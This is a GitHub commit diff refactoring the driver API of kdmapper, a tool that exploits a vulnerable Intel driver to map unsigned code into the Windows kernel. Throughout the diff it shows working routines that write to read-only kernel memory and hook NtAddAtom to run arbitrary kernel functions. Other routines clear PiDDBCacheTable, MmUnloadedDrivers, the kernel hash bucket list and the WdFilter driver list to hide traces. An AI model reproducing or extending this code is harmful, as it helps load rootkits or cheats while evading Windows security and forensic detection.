Merge pull request #203 from tihomirocrew/master

Refactor driver API
This commit is contained in:
TheCruZ 2025-08-17 20:02:55 +02:00 • committed by GitHub
commit d62edaf0e7
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
5 changed files with 234 additions and 237 deletions

View file

@ -10,51 +10,52 @@
namespace intel_driver
{
constexpr ULONG32 ioctl1 = 0x80862007;
extern HANDLE hDevice;
extern ULONG64 ntoskrnlAddr;
bool ClearPiDDBCacheTable(HANDLE device_handle);
bool ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Resource, BOOLEAN wait);
bool ExReleaseResourceLite(HANDLE device_handle, PVOID Resource);
BOOLEAN RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOID Table, PVOID Buffer);
PVOID RtlLookupElementGenericTableAvl(HANDLE device_handle, nt::PRTL_AVL_TABLE Table, PVOID Buffer);
nt::PiDDBCacheEntry* LookupEntry(HANDLE device_handle, nt::PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t * name);
PVOID ResolveRelativeAddress(HANDLE device_handle, _In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize);
bool ClearPiDDBCacheTable();
bool ExAcquireResourceExclusiveLite(PVOID Resource, BOOLEAN wait);
bool ExReleaseResourceLite(PVOID Resource);
BOOLEAN RtlDeleteElementGenericTableAvl(PVOID Table, PVOID Buffer);
PVOID RtlLookupElementGenericTableAvl(nt::PRTL_AVL_TABLE Table, PVOID Buffer);
nt::PiDDBCacheEntry* LookupEntry(nt::PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t * name);
PVOID ResolveRelativeAddress(_In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize);
bool AcquireDebugPrivilege();
uintptr_t FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask);
uintptr_t FindSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, PULONG size);
uintptr_t FindPatternInSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask);
uintptr_t FindPatternAtKernel(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask);
uintptr_t FindSectionAtKernel(const char* sectionName, uintptr_t modulePtr, PULONG size);
uintptr_t FindPatternInSectionAtKernel(const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask);
bool ClearKernelHashBucketList(HANDLE device_handle);
bool ClearWdFilterDriverList(HANDLE device_handle);
bool ClearKernelHashBucketList();
bool ClearWdFilterDriverList();
bool IsRunning();
HANDLE Load();
bool Unload(HANDLE device_handle);
bool Load();
bool Unload();
bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size);
bool SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size);
bool GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address);
uint64_t MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size);
bool UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size);
bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);
bool WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);
bool WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size);
bool MemCopy(uint64_t destination, uint64_t source, uint64_t size);
bool SetMemory(uint64_t address, uint32_t value, uint64_t size);
bool GetPhysicalAddress(uint64_t address, uint64_t* out_physical_address);
uint64_t MapIoSpace(uint64_t physical_address, uint32_t size);
bool UnmapIoSpace(uint64_t address, uint32_t size);
bool ReadMemory(uint64_t address, void* buffer, uint64_t size);
bool WriteMemory(uint64_t address, void* buffer, uint64_t size);
bool WriteToReadOnlyMemory(uint64_t address, void* buffer, uint32_t size);
/*added by herooyyy*/
uint64_t MmAllocateIndependentPagesEx(HANDLE device_handle, uint32_t size);
bool MmFreeIndependentPages(HANDLE device_handle, uint64_t address, uint32_t size);
BOOLEAN MmSetPageProtection(HANDLE device_handle, uint64_t address, uint32_t size, ULONG new_protect);
uint64_t MmAllocateIndependentPagesEx(uint32_t size);
bool MmFreeIndependentPages(uint64_t address, uint32_t size);
BOOLEAN MmSetPageProtection(uint64_t address, uint32_t size, ULONG new_protect);
uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size);
uint64_t AllocatePool(nt::POOL_TYPE pool_type, uint64_t size);
bool FreePool(HANDLE device_handle, uint64_t address);
uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name);
bool ClearMmUnloadedDrivers(HANDLE device_handle);
bool FreePool(uint64_t address);
uint64_t GetKernelModuleExport(uint64_t kernel_module_base, const std::string& function_name);
bool ClearMmUnloadedDrivers();
std::wstring GetDriverNameW();
std::wstring GetDriverPath();
template<typename T, typename ...A>
bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) {
bool CallKernelFunction(T* out_result, uint64_t kernel_function_address, const A ...arguments) {
constexpr auto call_void = std::is_same_v<T, void>;
//if count of arguments is >4 fail
@ -89,13 +90,13 @@ namespace intel_driver
uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
*(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;
static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom");
static uint64_t kernel_NtAddAtom = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "NtAddAtom");
if (!kernel_NtAddAtom) {
Log(L"[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl);
return false;
}
if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
if (!ReadMemory(kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
return false;
if (original_kernel_function[0] == kernel_injected_jmp[0] &&
@ -107,7 +108,7 @@ namespace intel_driver
}
// Overwrite the pointer with kernel_function_address
if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
if (!WriteToReadOnlyMemory(kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
return false;
// Call function
@ -125,6 +126,6 @@ namespace intel_driver
}
// Restore the pointer/jmp
return WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp));
return WriteToReadOnlyMemory(kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp));
}
}

View file

@ -13,5 +13,5 @@ namespace kdmapper
typedef bool (*mapCallback)(ULONG64* param1, ULONG64* param2, ULONG64 allocationPtr, ULONG64 allocationSize);
//Note: if you set PassAllocationAddressAsFirstParam as true, param1 will be ignored
ULONG64 MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1 = 0, ULONG64 param2 = 0, bool free = false, bool destroyHeader = true, AllocationMode mode = AllocationMode::AllocatePool, bool PassAllocationAddressAsFirstParam = false, mapCallback callback = nullptr, NTSTATUS* exitCode = nullptr);
ULONG64 MapDriver(BYTE* data, ULONG64 param1 = 0, ULONG64 param2 = 0, bool free = false, bool destroyHeader = true, AllocationMode mode = AllocationMode::AllocatePool, bool PassAllocationAddressAsFirstParam = false, mapCallback callback = nullptr, NTSTATUS* exitCode = nullptr);
}

File diff suppressed because it is too large Load diff

View file

@ -58,7 +58,7 @@ bool FixSecurityCookie(void* local_image, ULONG64 kernel_image_base)
return true;
}
bool ResolveImports(HANDLE iqvw64e_device_handle, portable_executable::vec_imports imports) {
bool ResolveImports(portable_executable::vec_imports imports) {
for (const auto& current_import : imports) {
ULONG64 Module = utils::GetKernelModuleAddress(current_import.module_name);
if (!Module) {
@ -69,12 +69,12 @@ bool ResolveImports(HANDLE iqvw64e_device_handle, portable_executable::vec_impor
}
for (auto& current_function_data : current_import.function_datas) {
ULONG64 function_address = intel_driver::GetKernelModuleExport(iqvw64e_device_handle, Module, current_function_data.name);
ULONG64 function_address = intel_driver::GetKernelModuleExport(Module, current_function_data.name);
if (!function_address) {
//Lets try with ntoskrnl
if (Module != intel_driver::ntoskrnlAddr) {
function_address = intel_driver::GetKernelModuleExport(iqvw64e_device_handle, intel_driver::ntoskrnlAddr, current_function_data.name);
function_address = intel_driver::GetKernelModuleExport(intel_driver::ntoskrnlAddr, current_function_data.name);
if (!function_address) {
#if !defined(DISABLE_OUTPUT)
std::cout << "[-] Failed to resolve import " << current_function_data.name << " (" << current_import.module_name << ")" << std::endl;
@ -91,7 +91,7 @@ bool ResolveImports(HANDLE iqvw64e_device_handle, portable_executable::vec_impor
return true;
}
ULONG64 kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, AllocationMode mode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) {
ULONG64 kdmapper::MapDriver(BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, AllocationMode mode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) {
const PIMAGE_NT_HEADERS64 nt_headers = portable_executable::GetNtHeaders(data);
@ -117,10 +117,10 @@ ULONG64 kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 pa
ULONG64 kernel_image_base = 0;
if (mode == AllocationMode::AllocateIndependentPages)
{
kernel_image_base = intel_driver::MmAllocateIndependentPagesEx(iqvw64e_device_handle, image_size);
kernel_image_base = intel_driver::MmAllocateIndependentPagesEx(image_size);
}
else { // AllocatePool by default
kernel_image_base = intel_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size);
kernel_image_base = intel_driver::AllocatePool(nt::POOL_TYPE::NonPagedPool, image_size);
}
if (!kernel_image_base) {
@ -164,7 +164,7 @@ ULONG64 kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 pa
return 0;
}
if (!ResolveImports(iqvw64e_device_handle, portable_executable::GetImports(local_image_base))) {
if (!ResolveImports(portable_executable::GetImports(local_image_base))) {
Log(L"[-] Failed to resolve imports" << std::endl);
kernel_image_base = realBase;
break;
@ -172,7 +172,7 @@ ULONG64 kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 pa
// Write fixed image to kernel
if (!intel_driver::WriteMemory(iqvw64e_device_handle, realBase, (PVOID)((uintptr_t)local_image_base + (destroyHeader ? TotalVirtualHeaderSize : 0)), image_size)) {
if (!intel_driver::WriteMemory(realBase, (PVOID)((uintptr_t)local_image_base + (destroyHeader ? TotalVirtualHeaderSize : 0)), image_size)) {
Log(L"[-] Failed to write local image to remote image" << std::endl);
kernel_image_base = realBase;
break;
@ -223,7 +223,7 @@ ULONG64 kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 pa
<< L" Prot: " << ProtectionToString(prot)
<< std::dec << std::endl);
if (!intel_driver::MmSetPageProtection(iqvw64e_device_handle, secAddr, secSize, prot)) {
if (!intel_driver::MmSetPageProtection(secAddr, secSize, prot)) {
Log(L"[-] Failed to set protection for section: " << (char*)sec->Name << std::endl);
}
}
@ -244,7 +244,7 @@ ULONG64 kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 pa
}
NTSTATUS status = 0;
if (!intel_driver::CallKernelFunction(iqvw64e_device_handle, &status, address_of_entry_point, (PassAllocationAddressAsFirstParam ? realBase : param1), param2)) {
if (!intel_driver::CallKernelFunction(&status, address_of_entry_point, (PassAllocationAddressAsFirstParam ? realBase : param1), param2)) {
Log(L"[-] Failed to call driver entry" << std::endl);
kernel_image_base = realBase;
break;
@ -262,10 +262,10 @@ ULONG64 kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 pa
if (mode == AllocationMode::AllocateIndependentPages)
{
free_status = intel_driver::MmFreeIndependentPages(iqvw64e_device_handle, realBase, image_size);
free_status = intel_driver::MmFreeIndependentPages(realBase, image_size);
}
else {
free_status = intel_driver::FreePool(iqvw64e_device_handle, realBase);
free_status = intel_driver::FreePool(realBase);
}
if (free_status) {
@ -291,10 +291,10 @@ ULONG64 kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 pa
if (mode == AllocationMode::AllocateIndependentPages)
{
free_status = intel_driver::MmFreeIndependentPages(iqvw64e_device_handle, kernel_image_base, image_size);
free_status = intel_driver::MmFreeIndependentPages(kernel_image_base, image_size);
}
else {
free_status = intel_driver::FreePool(iqvw64e_device_handle, kernel_image_base);
free_status = intel_driver::FreePool(kernel_image_base);
}
if (free_status) {

View file

@ -15,9 +15,6 @@
#include "KDSymbolsHandler.h"
#endif
HANDLE iqvw64e_device_handle;
LONG WINAPI SimplestCrashHandler(EXCEPTION_POINTERS* ExceptionInfo)
{
if (ExceptionInfo && ExceptionInfo->ExceptionRecord)
@ -25,8 +22,8 @@ LONG WINAPI SimplestCrashHandler(EXCEPTION_POINTERS* ExceptionInfo)
else
Log(L"[!!] Crash" << std::endl);
if (iqvw64e_device_handle)
intel_driver::Unload(iqvw64e_device_handle);
if (intel_driver::hDevice)
intel_driver::Unload();
return EXCEPTION_EXECUTE_HANDLER;
}
@ -189,9 +186,7 @@ int wmain(const int argc, wchar_t** argv) {
}
#endif
iqvw64e_device_handle = intel_driver::Load();
if (iqvw64e_device_handle == INVALID_HANDLE_VALUE) {
if (!intel_driver::Load()) {
PauseIfParentIsExplorer();
return -1;
}
@ -199,7 +194,7 @@ int wmain(const int argc, wchar_t** argv) {
std::vector<uint8_t> raw_image = { 0 };
if (!utils::ReadFileToMemory(driver_path, &raw_image)) {
Log(L"[-] Failed to read image to memory" << std::endl);
intel_driver::Unload(iqvw64e_device_handle);
intel_driver::Unload();
PauseIfParentIsExplorer();
return -1;
}
@ -211,14 +206,14 @@ int wmain(const int argc, wchar_t** argv) {
}
NTSTATUS exitCode = 0;
if (!kdmapper::MapDriver(iqvw64e_device_handle, raw_image.data(), 0, 0, free, !copyHeader, mode, passAllocationPtr, callbackExample, &exitCode)) {
if (!kdmapper::MapDriver(raw_image.data(), 0, 0, free, !copyHeader, mode, passAllocationPtr, callbackExample, &exitCode)) {
Log(L"[-] Failed to map " << driver_path << std::endl);
intel_driver::Unload(iqvw64e_device_handle);
intel_driver::Unload();
PauseIfParentIsExplorer();
return -1;
}
if (!intel_driver::Unload(iqvw64e_device_handle)) {
if (!intel_driver::Unload()) {
Log(L"[-] Warning failed to fully unload vulnerable driver " << std::endl);
PauseIfParentIsExplorer();
}